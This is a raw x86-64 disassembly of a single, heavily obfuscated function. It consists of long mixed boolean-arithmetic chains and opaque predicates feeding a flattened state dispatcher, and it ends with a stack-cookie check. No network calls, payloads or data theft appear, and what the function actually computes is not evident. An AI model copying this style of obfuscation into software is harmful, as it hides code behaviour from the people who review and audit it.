and eax, 0x139c2da
or eax, edx
mov edx, eax
xor edx, 0x1208058
xor eax, 0x58422921
or ecx, 0xc139f2da
mov ebx, ecx
not ebx
and eax, 0x585b6ba3
and edx, 0x81209058
or edx, eax
and ecx, 0x585b6ba3
and ebx, 0x26840404
or ebx, ecx
xor ebx, edx
mov eax, ebx
not eax
and eax, 0xb6524cf9
and ebx, 0x49adb306
or ebx, eax
mov r9d, ebx
mov edx, ebx
mov r11d, ebx
xor r11d, 0x3c399ddc
and r11d, ebx
not ebx
mov edi, ebx
and edi, 0x667ae48
and r9d, 0xf99851b7
or r9d, edi
xor r9d, 0xf99851b7
or r9d, ebx
mov ecx, r9d
not ecx
mov esi, r9d
and esi, 0x24aad32a
xor r9d, 0x61f7f28e
and r9d, ecx
and ecx, 0xdb552cd5
or ecx, esi
mov r10d, ecx
xor r10d, 0xdb552cd5
mov edi, ecx
xor edi, 0xbaa2de5b
and edi, r10d
mov esi, edi
not esi
mov eax, r9d
not eax
mov r14d, esi
and r14d, 0x81c216d8
and edi, 0x7e3de927
or edi, r14d
or esi, eax
and eax, 0x81c216d8
and r9d, 0x7e3de927
or r9d, eax
xor r9d, edi
not esi
or esi, r9d
mov eax, esi
not eax
and eax, 0xbf8a9a6a
and esi, 0x40756595
or esi, eax
mov eax, esi
xor eax, 0x1502
xor ecx, 0x24aad32a
or ecx, r10d
mov edi, ecx
not edi
and edi, 0x66534c27
and ecx, 0x99acb3d8
or ecx, edi
mov edi, ecx
xor edi, 0x18241140
xor esi, 0xde7d68e4
xor ecx, 0x66534c27
mov r9d, esi
and r9d, 0xa78baab9
and eax, 0x58745546
or eax, r9d
or esi, ecx
and ecx, 0xa78baab9
and edi, 0x58745546
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x51a41340
and esi, 0x410049c
or esi, eax
mov edi, esi
xor edi, 0x4100498
xor esi, 0x3146a821
or ecx, 0x55b417dc
mov eax, ecx
not eax
and esi, 0x3146a825
and edi, 0x44b017d8
or edi, esi
and ecx, 0x3146a825
and eax, 0x8a094002
or eax, ecx
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0xaa4be823
and eax, 0x55b417dc
or eax, ecx
and ebx, 0x34108094
and edx, 0x8291d48
or edx, ebx
mov ecx, edx
xor ecx, 0x291c40
xor edx, 0xf7d6e2b7
mov ebx, r11d
not ebx
mov edi, edx
and edi, 0x7d1081ba
and ecx, 0x291c44
or ecx, edi
or edx, ebx
and ebx, 0x7d1081ba
and r11d, 0x82ef7e45
or r11d, ebx
xor r11d, ecx
not edx
or edx, r11d
mov ecx, edx
not ecx
and ecx, 0x65068d9e
and edx, 0x9af97261
or edx, ecx
mov ecx, edx
xor ecx, 0xa6c0efbd
xor edx, 0x593f1042
mov ebx, eax
xor ebx, edx
and ebx, eax
and edx, eax
not eax
and eax, ecx
or edx, eax
mov eax, ebx
not eax
mov ecx, edx
not ecx
mov edi, eax
and edi, 0xb71e4909
and ebx, 0x48e1b6f6
or ebx, edi
or eax, ecx
and ecx, 0xb71e4909
and edx, 0x48e1b6f6
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd0a4e027
and ecx, eax
and eax, 0x2f5b1fd8
or eax, edx
xor eax, 0x2f5b1fd8
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c5793d8
and ecx, 0xd3a86c27
or ecx, eax
mov eax, ecx
xor eax, 0x4493c0
xor ecx, 0x13280c25
and ecx, 0x3f3b0c3d
and eax, 0xc0c4f3c2
or eax, ecx
xor eax, 0xc0c4f3c2
setne al
sete r10b
cmp r8d, 9
setg r14b
cmp r8d, 0xa
setl sil
mov r9d, r10d
xor r9b, al
mov ecx, r9d
not cl
mov edx, eax
xor dl, r9b
mov ebx, edx
xor bl, r10b
and bl, dl
and cl, r10b
and al, r9b
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, eax
xor dl, bl
and bl, al
and dl, al
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, al
xor cl, 1
or cl, bl
mov byte [rbp + 0x2c], cl
mov r8d, ecx
xor r8b, 1
mov byte [rbp + 0x3d], r8b
mov ebx, r8d
or bl, cl
mov byte [rbp + 0x28], bl
mov eax, ebx
xor al, 1
mov edx, ecx
and dl, bl
and al, r8b
or al, dl
mov edx, ebx
or dl, r8b
xor dl, 1
mov byte [rbp + 0x30], dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov r8d, ecx
xor r8b, bl
and r8b, cl
and dl, al
and bl, cl
or bl, dl
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
or cl, bl
and bl, cl
xor cl, 1
mov edx, ecx
xor dl, al
and dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov edi, eax
xor dil, 1
mov ecx, edi
and cl, al
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
or dil, al
mov eax, ecx
xor al, dil
or dil, cl
xor dil, 1
or dil, al
mov r8d, edi
xor r8b, 1
mov eax, r9d
xor al, r10b
or r9b, r10b
xor r9b, 1
or r9b, al
mov r11d, r9d
xor r11b, 1
mov ecx, esi
mov byte [rbp + 0x3c], r14b
xor cl, r14b
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r10d, eax
xor r10b, 1
mov ebx, edx
or bl, cl
xor cl, bl
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov byte [rbp + 0x3b], sil
xor bl, sil
mov ecx, r14d
and cl, r10b
or r10b, sil
and al, sil
or al, cl
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov byte [rbp + 0x38], cl
mov eax, r8d
xor al, dil
and al, r8b
mov esi, eax
xor sil, 1
or sil, al
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov r10d, r9d
and r10b, r11b
mov ecx, r9d
and cl, r10b
xor r10b, r9b
or r9b, r11b
mov r13d, r9d
xor r13b, 1
mov edx, r9d
and dl, r13b
xor r9b, dl
xor dl, 1
or dl, r13b
xor dl, 1
or dl, r9b
mov ebx, edx
xor bl, 1
or r10b, cl
and bl, r10b
mov r9d, r10d
xor r9b, 1
and dl, r9b
or dl, bl
mov ecx, r13d
xor cl, r11b
or r13b, r11b
xor r13b, 1
or r13b, cl
xor r13b, 1
mov ecx, edx
and cl, r13b
xor r13b, dl
or r13b, cl
mov eax, r13d
xor al, 1
mov byte [rbp + 0x3a], al
mov ecx, edi
and cl, r8b
mov edx, ecx
and dl, dil
xor cl, dil
or cl, dl
xor dil, cl
xor dil, 1
or cl, r8b
xor cl, 1
or cl, dil
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, r13d
and bl, al
mov edx, r13d
and dl, bl
xor bl, r13b
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r8d, eax
mov byte [rbp + 0x39], al
mov eax, edx
and al, bl
xor dl, bl
or dl, al
xor dl, 1
or bl, r8b
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r14d, r10d
and r14b, r9b
xor r14b, 1
mov eax, r14d
xor al, r9b
or r14b, r9b
xor r14b, 1
or r14b, al
xor r10b, r14b
xor r10b, 1
or r14b, r9b
xor r14b, 1
or r14b, r10b
mov eax, r14d
xor al, 1
mov edx, eax
and dl, r14b
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
mov byte [rbp + 0x37], dl
mov r11d, ecx
xor r11b, 1
mov eax, r11d
and al, cl
mov r8d, r11d
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
mov r15d, eax
mov byte [rbp + 0x26], al
mov edx, esi
xor dl, 1
mov eax, esi
and al, dl
mov byte [rbp + 0x25], dl
mov r8d, esi
and r8b, al
mov edi, esi
xor dil, al
mov byte [rbp + 0x23], al
or dil, r8b
or r11b, cl
mov r12d, edi
xor r12b, 1
mov r8d, edi
xor r8b, r12b
and r8b, dil
mov r10d, r8d
xor r10b, 1
mov ecx, r8d
and cl, r10b
mov r9d, ecx
and r9b, r8b
xor cl, r8b
or cl, r9b
mov byte [rbp + 0x27], cl
mov r9d, r15d
xor r9b, 1
mov ecx, r11d
xor cl, 1
and cl, r9b
mov byte [rbp + 0x1f], cl
mov ecx, r12d
or cl, r9b
mov byte [rbp + 0x20], cl
mov byte [rbp + 0x21], r9b
and r9b, dil
or dil, r12b
mov r8d, edi
xor r8b, 1
and r8b, dil
xor r8b, 1
mov ecx, r8d
xor cl, dil
mov byte [rbp + 0x22], cl
or r8b, dil
mov r15d, eax
xor r15b, 1
or r15b, sil
mov eax, edi
and al, sil
mov byte [rbp + 0x24], al
xor dil, sil
or sil, dl
mov ecx, esi
xor cl, 1
mov eax, ecx
and al, sil
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, byte [rbp + 0x27]
mov ecx, r10d
and cl, sil
xor r10b, sil
or r10b, cl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
movzx ecx, byte [rbp + 0x21]
or cl, r11b
movzx edx, byte [rbp + 0x26]
and r11b, dl
or r11b, byte [rbp + 0x1f]
mov eax, ecx
xor al, r11b
xor r11b, 1
or r11b, cl
xor al, 1
xor r11b, 1
or r11b, al
xor r11b, 1
mov eax, r11d
or al, r10b
xor r11b, r10b
xor r11b, 1
and r11b, r10b
mov ecx, eax
xor cl, r11b
xor r11b, 1
or r11b, al
xor cl, 1
xor r11b, 1
or r11b, cl
mov eax, edx
and al, r12b
or r9b, al
xor r9b, 1
movzx ecx, byte [rbp + 0x20]
mov eax, ecx
xor al, r9b
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and al, r9b
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, r11d
xor dl, 1
and dl, al
and cl, r11b
or cl, dl
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
movzx eax, byte [rbp + 0x37]
xor al, bl
mov edx, ebx
and dl, r14b
xor r14b, bl
or r14b, dl
mov ebx, r14d
xor bl, 1
mov edx, eax
xor dl, 1
and al, bl
and r14b, dl
or r14b, al
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor r14b, 1
mov eax, r14d
xor al, dl
or r14b, dl
xor r14b, 1
or r14b, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r9d, r14d
xor r9b, 1
mov r11d, r9d
and r11b, r14b
or r14b, dl
xor dl, r9b
xor dl, 1
xor r14b, 1
or r14b, dl
mov edx, r9d
and dl, r11b
xor r11b, r9b
or r11b, dl
xor bl, r11b
or r11b, cl
xor bl, 1
xor r11b, 1
or r11b, bl
mov ecx, r14d
xor cl, 1
mov edx, r11d
xor dl, 1
and dl, r14b
or r14b, r11b
and r11b, cl
or r11b, dl
mov ecx, r14d
xor cl, r11b
xor r11b, 1
or r11b, r14b
xor cl, 1
xor r11b, 1
or r11b, cl
movzx eax, byte [rbp + 0x3a]
xor r13b, al
and r13b, al
xor r8b, 1
or r8b, byte [rbp + 0x22]
movzx eax, byte [rbp + 0x23]
xor al, byte [rbp + 0x25]
xor r15b, 1
or r15b, al
xor r15b, r8b
or dil, byte [rbp + 0x24]
mov ecx, edi
xor cl, r15b
xor r15b, 1
xor cl, 1
or r15b, dil
xor r15b, 1
or r15b, cl
mov ecx, r13d
xor cl, 1
or cl, r15b
xor r15b, 1
xor cl, 1
or r15b, r13b
xor r15b, 1
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov ecx, r12d
movzx eax, byte [rbp + 0x39]
or cl, al
xor cl, 1
xor r12b, al
mov edx, ecx
and dl, r12b
xor r12b, cl
or r12b, dl
mov ecx, r15d
xor cl, r12b
xor r12b, 1
mov edx, r15d
xor dl, r12b
xor dl, 1
xor cl, 1
or r12b, r15b
xor r12b, 1
or r12b, cl
mov ecx, edx
xor cl, r12b
or r12b, dl
xor r12b, 1
or r12b, cl
mov edx, r12d
xor dl, 1
mov ebx, edx
and bl, r12b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r9d, ebx
xor r9b, 1
or dl, r12b
mov r8d, edx
xor r8b, 1
mov ecx, ebx
and cl, r9b
mov r10d, ecx
and r10b, bl
xor cl, bl
or cl, r10b
mov ebx, ecx
xor bl, 1
and bl, r8b
and cl, dl
or cl, bl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
mov r8d, ebx
and r8b, dl
mov eax, r8d
xor al, 1
xor r8b, bl
or al, dl
xor al, 1
or al, r8b
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r11d
xor dl, 1
and dl, r11b
xor dl, 1
mov ebx, r11d
xor bl, dl
or dl, r11b
xor dl, 1
or dl, bl
mov r11d, eax
xor r11b, 1
mov r8d, eax
xor r8b, dl
mov r10d, edx
xor r10b, 1
or r11b, al
mov ebx, edx
and bl, r10b
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
or dl, r10b
xor dl, 1
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
mov ecx, eax
and cl, r11b
xor r11b, al
or cl, r11b
xor cl, 1
mov ebx, r11d
and bl, cl
xor cl, r11b
or cl, bl
mov r9d, ecx
xor r9b, 1
mov r11d, ecx
and r11b, r9b
mov ebx, r11d
xor bl, 1
xor r11b, cl
or bl, r9b
xor bl, 1
or bl, r11b
xor bl, dl
mov ecx, ebx
xor cl, 1
or r10b, al
mov eax, r8d
xor al, r10b
or r10b, r8b
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
and al, cl
or cl, r10b
and r10b, bl
or r10b, al
xor r10b, 1
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
movzx r14d, byte [rbp + 0x38]
mov r9d, r14d
xor r9b, 1
mov edi, r9d
and dil, r14b
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
mov r8d, edi
xor r8b, 1
mov r11d, r14d
or r11b, r9b
mov eax, r11d
xor al, 1
mov ebx, r8d
and bl, dil
mov ecx, r11d
and cl, al
mov esi, r8d
and sil, bl
xor bl, r8b
or bl, sil
xor r11b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r11b
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or cl, dl
mov edx, edi
xor dl, al
or al, dil
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r8d, r10d
xor r8b, 1
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, r10d
xor al, dl
xor dl, 1
or dl, r10b
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, r10d
and al, r8b
mov ecx, r8d
and cl, al
mov ebx, r8d
xor bl, al
or bl, cl
mov r11d, ebx
xor r11b, 1
or r11b, bl
mov ecx, r11d
xor cl, 1
mov ebx, ecx
and bl, r11b
mov esi, ebx
and sil, cl
xor bl, cl
or bl, sil
xor al, 1
mov esi, eax
xor sil, r8b
or al, r8b
xor al, 1
or al, sil
xor al, bl
xor r11b, r8b
xor al, 1
or cl, r10b
xor cl, 1
or cl, r11b
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov esi, eax
and sil, cl
mov ebx, eax
xor bl, sil
xor sil, 1
or sil, cl
mov r8d, edx
xor r8b, 1
xor sil, 1
or sil, bl
and r9b, sil
xor sil, 1
and sil, r14b
or sil, r9b
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov ecx, eax
xor cl, sil
xor sil, 1
xor cl, 1
or sil, al
xor sil, 1
or sil, cl
mov r10d, esi
xor r10b, 1
mov ebx, r10d
or bl, sil
mov r9d, ebx
xor r9b, 1
mov ecx, r8d
or cl, dl
and r9b, r10b
or r10b, dl
or dl, cl
xor cl, r8b
xor cl, 1
xor dl, 1
or dl, cl
mov ecx, esi
xor cl, bl
and cl, sil
and bl, sil
or bl, r9b
xor cl, 1
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, dl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor sil, r8b
xor sil, 1
mov eax, r10d
xor al, sil
or sil, r10b
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, sil
xor cl, 1
and sil, dl
or sil, al
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
movzx ecx, byte [rbp + 0x3c]
mov eax, ecx
movzx r10d, byte [rbp + 0x2c]
or al, r10b
xor al, 1
movzx ebx, byte [rbp + 0x28]
movzx edx, byte [rbp + 0x3d]
xor bl, dl
and dl, cl
mov r9d, ecx
movzx r11d, byte [rbp + 0x3b]
and r10b, r11b
or r10b, dl
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r8d, r10d
xor r8b, 1
movzx edx, byte [rbp + 0x30]
mov eax, edx
mov ecx, ebx
and al, bl
xor cl, dl
or cl, al
mov eax, r11d
and al, cl
xor cl, 1
and cl, r9b
or cl, al
mov r9d, ecx
mov eax, ecx
xor r9b, 1
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov r11d, eax
or r11b, r9b
and r9b, r8b
or r8b, r10b
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
mov ebx, eax
or bl, r11b
xor bl, 1
xor r11b, al
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
xor r11b, cl
mov ecx, r10d
xor cl, dl
and cl, r10b
and dl, r10b
or dl, r9b
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
mov r8d, edx
xor r8b, 1
mov edx, r11d
mov r10d, ebx
and r10b, r8b
mov ecx, r10d
xor r10b, bl
mov r9d, r11d
xor r9b, bl
or bl, r11b
mov eax, r11d
xor al, 1
and dl, al
xor dl, 1
mov r11d, edx
xor r11b, al
or dl, al
xor dl, 1
or dl, r11b
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r10b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
xor bl, 1
or bl, r9b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov r11d, ecx
or r11b, r8b
mov ebx, r11d
xor bl, 1
mov eax, ebx
and al, r11b
mov r9d, ecx
and r9b, r8b
xor al, 1
mov r10d, eax
xor r10b, r11b
or al, r11b
xor al, 1
or al, r10b
mov r10d, r9d
and r10b, cl
mov edx, r9d
xor dl, cl
or dl, r10b
xor dl, al
xor r11b, r8b
or bl, cl
xor bl, 1
or bl, r11b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, r8d
and al, r9b
xor r9b, r8b
or r9b, al
mov ecx, r9d
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
xor dl, cl
mov eax, edx
xor al, 1
and al, cl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, r8d
and cl, al
mov edx, r8d
xor dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and r8b, dl
or dl, al
and cl, al
or cl, r8b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov r10d, esi
xor r10b, 1
mov edi, r10d
and dil, sil
xor dil, 1
mov ebx, esi
xor bl, dil
or dil, sil
mov r11d, edi
xor r11b, 1
or bl, r11b
or r10b, sil
mov edx, r10d
mov eax, ebx
xor al, r10b
and al, bl
and r10b, bl
xor bl, 1
xor dl, 1
and dl, bl
or r10b, dl
xor al, 1
xor r10b, 1
mov edx, eax
xor dl, r10b
or r10b, al
xor r10b, 1
or r10b, dl
mov eax, r9d
and al, cl
mov edx, r9d
and dl, al
mov ebx, r9d
xor bl, al
or bl, dl
xor bl, 1
or r9b, cl
xor r9b, 1
mov edx, ebx
and dl, r9b
xor r9b, bl
or r9b, dl
mov r8d, r10d
xor r8b, 1
mov r12d, r10d
and r12b, r8b
xor r12b, 1
mov ebx, r12d
xor bl, r10b
or r12b, r10b
xor r12b, 1
or r12b, bl
mov esi, r12d
xor sil, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov r14d, eax
and r14b, cl
xor al, r14b
xor r14b, 1
or r14b, cl
xor r14b, 1
or r14b, al
mov r15d, edi
and r15b, r11b
mov eax, edi
and al, r15b
xor r15b, dil
or r15b, al
mov r13d, r15d
xor r13b, 1
mov edx, r15d
or dl, r13b
mov ecx, esi
or cl, r12b
xor cl, 1
mov ebx, esi
and bl, cl
xor cl, sil
or cl, bl
mov ebx, edx
xor bl, 1
and r11b, dl
or dl, dil
and bl, dil
xor dl, 1
or bl, r11b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
mov edi, r9d
xor dil, 1
xor bl, 1
or bl, dl
mov r11d, r14d
xor r11b, 1
xor bl, cl
mov eax, ebx
xor al, 1
or r13b, sil
xor r13b, 1
xor r15b, r12b
mov ecx, r13d
and cl, r15b
xor r15b, r13b
or r15b, cl
mov ecx, r15d
xor cl, 1
and cl, al
or al, r15b
xor al, 1
and r15b, bl
or r15b, cl
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov edx, edi
and dl, r9b
mov eax, edi
and al, dl
xor dl, dil
or dl, al
mov eax, r14d
or al, r11b
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
xor bl, 1
mov esi, ecx
xor sil, bl
or bl, cl
xor bl, 1
or bl, sil
mov ecx, ebx
and cl, r11b
xor bl, 1
and bl, r14b
or bl, cl
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
mov ebx, edx
xor bl, 1
or al, cl
and r11b, bl
or bl, al
xor al, 1
or al, dl
xor al, 1
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, r14b
and al, dl
and dl, r14b
or dl, r11b
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov r11d, ecx
and r11b, bl
xor cl, bl
or cl, r11b
xor cl, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
or al, cl
not al
or al, dl
mov ecx, r15d
xor cl, 1
or cl, r15b
xor cl, 1
mov edx, r15d
and dl, cl
xor cl, r15b
and al, 1
or cl, dl
mov edx, eax
xor dl, 1
or dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, r8d
xor al, dil
and dil, r10b
or r10b, r9b
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
and r8b, r9b
or dil, r8b
mov edx, r10d
and dl, dil
xor dil, 1
and al, dil
or al, dl
mov edx, r10d
and dl, dil
xor dil, r10b
or dil, dl
xor al, 1
mov edx, eax
xor dl, dil
or al, dil
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
mov r8d, eax
xor r8b, 1
and bl, dl
or bl, al
xor al, bl
xor al, 1
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
and bl, al
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov eax, edx
xor al, 1
or r8b, cl
mov ecx, edx
and cl, al
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
mov r9d, ecx
and cl, r8b
xor r8b, 1
xor r9b, 1
and r9b, r8b
or cl, r9b
mov r9d, edx
xor r9b, r8b
or r8b, dl
mov r10d, ebx
xor r10b, 1
xor r8b, 1
or r8b, r9b
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, r10d
and dl, bl
mov r8d, r10d
and r8b, dl
xor dl, r10b
or dl, r8b
or bl, r10b
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
xor cl, 1
mov edx, ecx
xor dl, bl
xor dl, 1
and dl, bl
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r10d
xor dl, al
and al, r10b
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0xea0b54f1
mov ebx, 0xac7f74ee
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0xea0b54f1
cmovne eax, ebx
test cl, 1
cmove eax, edx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, 0xf5286d5c
movzx ecx, word [rbp + 0xcc]
jmp 0x14000195e
mov esi, dword [rbp + 0xd4]
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
sub rsp, 0x20
call fcn.14004b6d0
add rsp, 0x20
mov eax, esi
movaps xmm6, xmmword [rbp + 0xe0]
lea rsp, [rbp + 0xf8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret